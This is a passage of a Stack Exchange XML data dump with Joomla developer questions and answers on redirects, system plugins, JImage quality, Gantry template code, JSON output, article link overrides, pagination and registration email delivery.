  <row Id="24503" PostTypeId="1" CreationDate="2019-04-18T12:49:43.723" Score="2" ViewCount="132" Body="&lt;p&gt;Is it possible to add a redirect to the redirect manager from my custom components controller or model? I want my custom component to add a redirect to the redirect manager on deletion of an item. I know i could just add the necessary db query to add this. But i was wondering if there is a more &quot;Joomla Way&quot; of doing this by talking to the redirect component directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="13294" LastActivityDate="2019-05-24T16:03:20.450" Title="Adding redirect to redirect component from custom component" Tags="|joomla-api|custom-component|redirect|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24504" PostTypeId="1" AcceptedAnswerId="24538" CreationDate="2019-04-18T16:47:18.643" Score="3" ViewCount="204" Body="&lt;p&gt;For reasons beyond the scope of the question, I want to be able to &lt;em&gt;effectively&lt;/em&gt; (but not actually do a redirect based on various parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the request &lt;strong&gt;IS&lt;/strong&gt; &lt;code&gt;index.php?option=com_something&amp;amp;view=default&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want Joomla to display &lt;code&gt;index.php?option=com_alternate&amp;amp;view=override&lt;/code&gt; as if (in every respect) that was the original request to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a system plugin accomplish this? And if so, on which event?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; For clarity of requirement, this sample pseudo-ish code programmatically demonstrates what I'm envisioning.  Before spending hours or days, I'm &quot;checking the premises&quot; of my intended approach.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Effective Redirect to com_content (as an example component) without classic redirecting&#xA;class plgSystemMySystemPlugin extends JPlugin&#xA;{&#xA;    public function on[Before|After][SOME-SYSTEM-EVENT]() {&#xA;        jimport('joomla.application.component.view');&#xA;        $options = array(&#xA;            'name' =&amp;gt; 'article',&#xA;            'base_path' =&amp;gt; JPATH_SITE.'/components/com_content'&#xA;        );&#xA;        $view = new JView($options);&#xA;        $view-&amp;gt;addTemplatePath(JPATH_THEMES . '/' . JFactory::getApplication()-&amp;gt;getTemplate() . '/html/com_content/' . $view-&amp;gt;getName());&#xA;        // Set Item, Itemid, etc. somehow here&#xA;        $view-&amp;gt;display();&#xA;        JFactory::getApplication()-&amp;gt;close();&#xA;    }&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2019-04-21T14:34:28.090" LastActivityDate="2019-04-27T17:10:06.057" Title="Is it possible to change the requested component and view with a system plugin?" Tags="|system-plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24505" PostTypeId="5" CreationDate="2019-04-18T17:49:11.233" Score="0" Body="&lt;p&gt;A rotating display of content that can house a variety of content that usually includes &quot;next&quot; and &quot;previous&quot; buttons to rotate through the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example of a carousel that displays images:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/49Gqd.png&quot; alt=&quot;A Simple Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image Source: &lt;a href=&quot;http://sorgalla.com/projects/jcarousel/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sorgalla.com/projects/jcarousel/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-04-22T18:26:55.820" LastActivityDate="2019-04-22T18:26:55.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24506" PostTypeId="4" CreationDate="2019-04-18T17:49:11.233" Score="0" Body="A rotating display of content that can house a variety of content that usually includes &quot;next&quot; and &quot;previous&quot; buttons to rotate through the content.  " OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-04-22T18:26:52.627" LastActivityDate="2019-04-22T18:26:52.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24507" PostTypeId="5" CreationDate="2019-04-18T18:20:19.710" Score="0" Body="" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2019-04-18T18:20:19.710" LastActivityDate="2019-04-18T18:20:19.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24508" PostTypeId="4" CreationDate="2019-04-18T18:20:19.710" Score="0" Body="&quot;Global&quot; system events, including those triggered on every page load (onAfterInitialise, onAfterRoute, onAfterDispatch, onAfterRender)" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2019-04-18T18:20:19.710" LastActivityDate="2019-04-18T18:20:19.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24510" PostTypeId="1" CreationDate="2019-04-20T13:25:27.377" Score="1" ViewCount="1182" Body="&lt;p&gt;I want add some PHP code to the head of a template, but I am unsure as to how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding the following to my &lt;code&gt;index.php&lt;/code&gt; but it doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;class __AntiAdBlock_&#xA;{&#xA;    private $token = '999';&#xA;    private $zoneId = '12';&#xA;    ///// do not change anything below this point /////&#xA;    private $requestDomainName = 'go.transferzenad.com';&#xA;    private $requestTimeout = 1000;&#xA;    private $requestUserAgent = 'AntiAdBlock API Client';&#xA;    private $requestIsSSL = false;&#xA;    private $cacheTtl = 30; // minutes&#xA;    private $version = '1';&#xA;    private $routeGetTag = '/v3/getTag';&#xA;    private $selfSourceContent;&#xA;&#xA;    private function getTimeout()&#xA;&#xA;}&#xA;$__aab = new __AntiAdBlock_245();&#xA;return $__aab-&amp;gt;get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In which file of the Gantry (Helium) template should I be adding this code?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;thanks but i can not   add &quot; php code &quot; with your help : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need more help ! please step to step help me how add php code in template of joomla (gantry template ), please show with image step to step!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i see this link :&#xA;&lt;a href=&quot;http://docs.gantry.org/gantry5/advanced/php-functions#overriding-the-themephp-file&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.gantry.org/gantry5/advanced/php-functions#overriding-the-themephp-file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but my folder &amp;amp; file is defernet &amp;amp; i can not fond main folder with main &quot; php file for add code (tag ) to work !&#xA;thank you&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;i use of some module  for add code but do not work &amp;amp; i install direct  php   how add code to gantry template ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so core joomla is not &quot;php &quot; so gantry template work on php !?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what is main php file for this template &amp;amp; where ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how i can add code direct ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or we must use of module so there is not default module for this work ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me .&#xA;thank you &lt;/p&gt;&#xA;" OwnerUserId="13491" LastEditorUserId="126" LastEditDate="2019-04-23T06:10:51.433" LastActivityDate="2019-04-23T06:10:51.433" Title="How to add php &amp; js code in the header of a Gantry Helium template?" Tags="|php|templates|gantry|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24511" PostTypeId="2" ParentId="24510" CreationDate="2019-04-21T01:04:55.203" Score="0" Body="&lt;p&gt;Editing the template code directly is not considered best practice as future template updates may overwrite your changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better approach might be to use a third party extension. There is likely something suitable in the Joomla Extensions Directory at &lt;a href=&quot;http://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-04-21T01:04:55.203" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24512" PostTypeId="1" CreationDate="2019-04-21T14:26:14.250" Score="0" ViewCount="229" Body="&lt;p&gt;As I would like to use a front-end JavaScript framework within Joomla I would like to know what's an efficient and maintainable, structured way of accessing data from core components (such as &lt;code&gt;com_content&lt;/code&gt;) and core modules (such as &lt;code&gt;mod_menu&lt;/code&gt;) and exposing them as JSON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched the web and found &lt;code&gt;com_ajax&lt;/code&gt; (Joomla's AJAX interface) to expose some JSON from modules and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I tried that using the following GET request:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_ajax&amp;amp;module=menu&amp;amp;format=json&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it responded with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&quot;success&quot;:false,&quot;message&quot;:&quot;Method getAjax does not exist.&quot;,&quot;messages&quot;:null,&quot;data&quot;:null}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus &lt;code&gt;mod_menu&lt;/code&gt; does not itself seem to expose any data as JSON (as a built-in function). Should I then implement that &lt;code&gt;getAjax&lt;/code&gt; method myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For core components such as &lt;code&gt;com_content&lt;/code&gt; I thought of overriding either View or Controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overriding a &lt;code&gt;View&lt;/code&gt; certainly seems like a relatively &lt;em&gt;easy&lt;/em&gt; way to expose some data as JSON and it should probably work for both &lt;code&gt;mod_menu&lt;/code&gt; and &lt;code&gt;com_content&lt;/code&gt;. Though a overriding a &lt;code&gt;Controller&lt;/code&gt; would probably execute with less overhead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I just directly query the database for data within &lt;code&gt;com_content&lt;/code&gt; and &lt;code&gt;mod_menu&lt;/code&gt;'s tables? E.g. put those database queries in a custom component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some 'Joomla approved' way (a best practice) to do this?&lt;/p&gt;&#xA;" OwnerUserId="11529" LastActivityDate="2019-04-26T06:22:15.947" Title="How to get data from core components and modules formatted as JSON?" Tags="|joomla-3.x|ajax|json|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24513" PostTypeId="2" ParentId="24510" CreationDate="2019-04-21T16:56:28.817" Score="2" Body="&lt;p&gt;Gantry5 makes it easy to add HTML/CSS/JS to the head within the Page Settings on the Base Outline (or a specific one). &lt;a href=&quot;http://docs.gantry.org/gantry5/configure/page-settings#head-properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.gantry.org/gantry5/configure/page-settings#head-properties&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, PHP would probably be best into the includes/theme.php file: &lt;a href=&quot;http://docs.gantry.org/gantry5/advanced/php-functions#overriding-the-themephp-file&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.gantry.org/gantry5/advanced/php-functions#overriding-the-themephp-file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might consider packaging up your code into a System Plugin.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2019-04-21T16:56:28.817" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24515" PostTypeId="1" AcceptedAnswerId="24516" CreationDate="2019-04-22T05:33:06.453" Score="2" ViewCount="163" Body="&lt;p&gt;I'm using JImage to generate .jpg image thumbnails. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = new JImage($image_src);&#xA;$resizedImage = $image-&amp;gt;cropResize($thumb_width, $thumb_height, true);&#xA;$thumb = $resizedImage-&amp;gt;toFile(JPATH_BASE.'path/to/photo_thumbnail.jpg', IMAGETYPE_JPEG);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I set the generated jpg image quality to 70%?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2019-04-22T07:19:32.650" Title="JImage - Set generated image quality" Tags="|joomla-3.x|jimage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24516" PostTypeId="2" ParentId="24515" CreationDate="2019-04-22T07:19:32.650" Score="3" Body="&lt;p&gt;The third argument in toFile is the options array, which includes 'quality' as a key. eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumb = $resizedImage-&amp;gt;toFile(JPATH_BASE.'path/to/photo_thumbnail.jpg', IMAGETYPE_JPEG, array('quality' =&amp;gt; 70));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;API Doc for Image&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.Image.Image.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.Image.Image.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2019-04-22T07:19:32.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24520" PostTypeId="1" AcceptedAnswerId="24523" CreationDate="2019-04-23T14:06:23.970" Score="1" ViewCount="380" Body="&lt;p&gt;I am using the module Articles - Newsflash to show a category of mine, which works just as intended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can see all intro images of the selected articles and also some corresponding text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on the titles of the articles sends me to the full article, but I would like to change that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I would like to use the Link A field of each article to define where the user is sent upon clicking the article title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some threads such as:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/24350538/linking-intro-image-in-joomla-3-3-1&quot;&gt;https://stackoverflow.com/questions/24350538/linking-intro-image-in-joomla-3-3-1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=926779&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=926779&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those threads seem to go in the right direction, but I am not experienced enough to manage it on my own. &lt;/p&gt;&#xA;" OwnerUserId="13495" LastEditorUserId="12352" LastEditDate="2019-04-23T20:12:03.643" LastActivityDate="2019-06-11T12:03:22.820" Title="Using Link A instead of the title link" Tags="|joomla-3.x|articles|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24521" PostTypeId="1" CreationDate="2019-04-23T19:45:29.500" Score="0" ViewCount="237" Body="&lt;p&gt;I built a view (call it 'history') to display a list of historic records with couple filters. A change of filter value will trigger the submit (onchange = &quot;submit();&quot;). The view will get the new filter values from _POST variables and update the list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this history view on both frontend and backend with the same code. The backend works fine. I can filter the records and then click the page links (1, 2, 3 etc.) to roll the page. The records will stay filtered. But in the front end, whenever I click the page link, the filter values are lost and the list goes back to default filter values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspection shows that clicking the page links in the backend will send a POST request with the filter values in $POST. But when clicking the page links in the front end, no POST request is sent. I have method=&quot;post&quot; in the form and the pagination-&gt;getListFooter() is in the that form. Is there anything extra needed for the frontend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In tmpl/default.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;JHTML::_('formbehavior.chosen', 'select');&#xA;&#xA;...&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo Route::_('index.php?option=com_mycomponent&amp;amp;view=history'); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&#xA; ...&#xA;&#xA;    &amp;lt;td&amp;gt;&#xA;         &amp;lt;?php echo $this-&amp;gt;lists['record_type']; ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;     &amp;lt;td&amp;gt;&#xA;          &amp;lt;?php echo $this-&amp;gt;lists['record_id']; ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;&#xA;...&#xA;&#xA;     &amp;lt;td colspan=&quot;5&quot;&amp;gt;&#xA;          &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;     &amp;lt;/td&amp;gt;&#xA;&#xA;....&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot;/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;$this-&amp;gt;pagination   = $this-&amp;gt;get('Pagination');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In history.php (model), I did not override pagination method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyComponentModelHistory extends ListModel&#xA;{ &#xA;    ... &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13497" LastEditorUserId="13497" LastEditDate="2019-04-23T21:30:42.900" LastActivityDate="2019-04-23T21:30:42.900" Title="Frontend pagination links do not send POST request" Tags="|joomla-3.x|front-end|pagination|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24522" PostTypeId="1" CreationDate="2019-04-23T21:41:07.157" Score="0" ViewCount="174" Body="&lt;p&gt;I have setup a Joomla website with registration confirmation through admin. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Global setting for mail sending - set to yes&lt;/li&gt;&#xA;&lt;li&gt;The user is set to get system mails&lt;/li&gt;&#xA;&lt;li&gt;Info mail to admin on registration - set to yes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It worked properly for weeks. I didn't change the settings. I have done only updates. I noticed now because people asked me, why they are not yet confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some tests:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the registrant gets the first mail&lt;/li&gt;&#xA;&lt;li&gt;eventBooking does send mails&lt;/li&gt;&#xA;&lt;li&gt;the testmail worked&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't have any idea what I could check additionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed extensions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EventBooking&lt;/li&gt;&#xA;&lt;li&gt;AdminTools&lt;/li&gt;&#xA;&lt;li&gt;JEvents&lt;/li&gt;&#xA;&lt;li&gt;Kunena&lt;/li&gt;&#xA;&lt;li&gt;AcyMailing 6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All mail sending happens via PHP/sendmail.&lt;/p&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="13188" LastEditDate="2019-04-24T14:55:52.483" LastActivityDate="2019-04-24T15:19:07.387" Title="Admin Info Mail on registration isn't send anymore" Tags="|emails|joomla-3.9|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24523" PostTypeId="2" ParentId="24520" CreationDate="2019-04-24T08:43:27.187" Score="2" Body="&lt;p&gt;I found the file I needed to create an override of and edited the neccesary files accordingly. Thats what I did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In file /html/mod_articles_news_adv/_item.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;figure class=&quot;item_img img-intro img-intro__&amp;lt;?php echo htmlspecialchars($imgfloat); ?&amp;gt;&quot;&amp;gt; &#xA;&amp;lt;?php if (isset($urls) &amp;amp;&amp;amp; (!empty($urls-&amp;gt;urla) )) :&#xA;        $articleLinkAUrl = $urls-&amp;gt;urla;&#xA;        endif;?&amp;gt;&#xA;    &amp;lt;?php if ($params-&amp;gt;get('link_titles') &amp;amp;&amp;amp; $item-&amp;gt;readmore) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $articleLinkAUrl;?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo htmlspecialchars($item_images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($item_images-&amp;gt;image_intro_alt); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php if ($item_images-&amp;gt;image_intro_caption): ?&amp;gt;&#xA;        &amp;lt;figcaption&amp;gt;&amp;lt;?php echo htmlspecialchars($item_images-&amp;gt;image_intro_caption); ?&amp;gt;&amp;lt;/figcaption&amp;gt;&#xA;        &amp;lt;?php endif;&#xA;    if ($params-&amp;gt;get('link_titles') &amp;amp;&amp;amp; $item-&amp;gt;readmore) : ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/figure&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This part gets the Link A Url in php: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (isset($urls) &amp;amp;&amp;amp; (!empty($urls-&amp;gt;urla) )) :&#xA;    $articleLinkAUrl = $urls-&amp;gt;urla;&#xA;    endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unsing articleLinkAUrl as new URL for the intro image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo $articleLinkAUrl;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same can be done to change the title URl to use articleLinkAURL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/users/12352/mickmackusa&quot;&gt;mickmackusa&lt;/a&gt; improved my solution which is available here: &lt;a href=&quot;https://3v4l.org/JFDRM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3v4l.org/JFDRM&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13495" LastEditorUserId="13495" LastEditDate="2019-04-26T09:08:14.167" LastActivityDate="2019-04-26T09:08:14.167" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24524" PostTypeId="2" ParentId="24522" CreationDate="2019-04-24T14:54:40.193" Score="1" Body="&lt;p&gt;What &lt;strong&gt;email sending method&lt;/strong&gt; do you use (see System &gt; Global Conguration &gt; Server &gt; mail settings)? What email sending methods do your extensions use? (e.g. in Acymailing you can configure another mail server)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you send email with &lt;strong&gt;PHP/Sendmail&lt;/strong&gt; directly from your webserver,&#xA;or use SMTP and send all mail via an &lt;strong&gt;external SMTP&lt;/strong&gt; server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the mail is sent correctly, but &lt;strong&gt;refused at some of the receiving mail servers&lt;/strong&gt; because they consider it as spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you &lt;strong&gt;check the mail headers&lt;/strong&gt; in the mail notification that you received?&#xA;Do you see anything in the mail header regarding spam or warnings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you check the &lt;strong&gt;SPF&lt;/strong&gt; (Sender Policy Framework) records of your domain name (in your DNS server? Is your webserver or the external SMTP server allowed to send mail on your behalf?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you configure &lt;strong&gt;DKIM or DMARC&lt;/strong&gt; (also in the DNS of your domain name)?&#xA;Could you test if you have configured SPF. DKIM, DMARC correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some online test tools available to test your SPF. DKIM, DMARC settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://mxtoolbox.com/spf.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mxtoolbox.com/spf.aspx&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://mxtoolbox.com/dkim.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mxtoolbox.com/dkim.aspx&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.dmarcanalyzer.com/dkim/dkim-check/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dmarcanalyzer.com/dkim/dkim-check/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Also check the &quot;&lt;strong&gt;IP Reputation&lt;/strong&gt;&quot; of the server that sends the mail (your webserver or the SMTP server). Some receiving mail servers use blacklists to check the incoming mail for spam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some online tools to &lt;strong&gt;check the IP reputation&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://mxtoolbox.com/blacklists.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mxtoolbox.com/blacklists.aspx&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://whatismyipaddress.com/blacklist-check&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://whatismyipaddress.com/blacklist-check&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.dnsbl.info/dnsbl-database-check.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dnsbl.info/dnsbl-database-check.php&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2019-04-24T15:19:07.387" LastActivityDate="2019-04-24T15:19:07.387" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24525" PostTypeId="2" ParentId="24503" CreationDate="2019-04-24T15:07:34.497" Score="2" Body="&lt;p&gt;You can just add the necessary db query to add this, see:&#xA;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you might be able to instantiate the &lt;strong&gt;RedirectModelLink&lt;/strong&gt; model (/administrator/components/com_redirect/models/link.php) and use that to add / delete data. &lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-04-24T15:07:34.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24526" PostTypeId="1" CreationDate="2019-04-25T15:16:34.503" Score="0" ViewCount="192" Body="&lt;p&gt;I have Joomla 3.8.11 and RSFORM 2.0.14.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to update the Community Builder fields of the logged-in user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main fields that I am trying to update are via some checkboxes:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/weVCM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/weVCM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkbox field from RSFORM has exactly the same values that the checkbox fields from Community Builder have.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xGvb0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xGvb0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7A19M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7A19M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this method:&#xA;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/custom-scripting/update-a-field-from-community-builder.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/custom-scripting/update-a-field-from-community-builder.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this method:&#xA;&lt;a 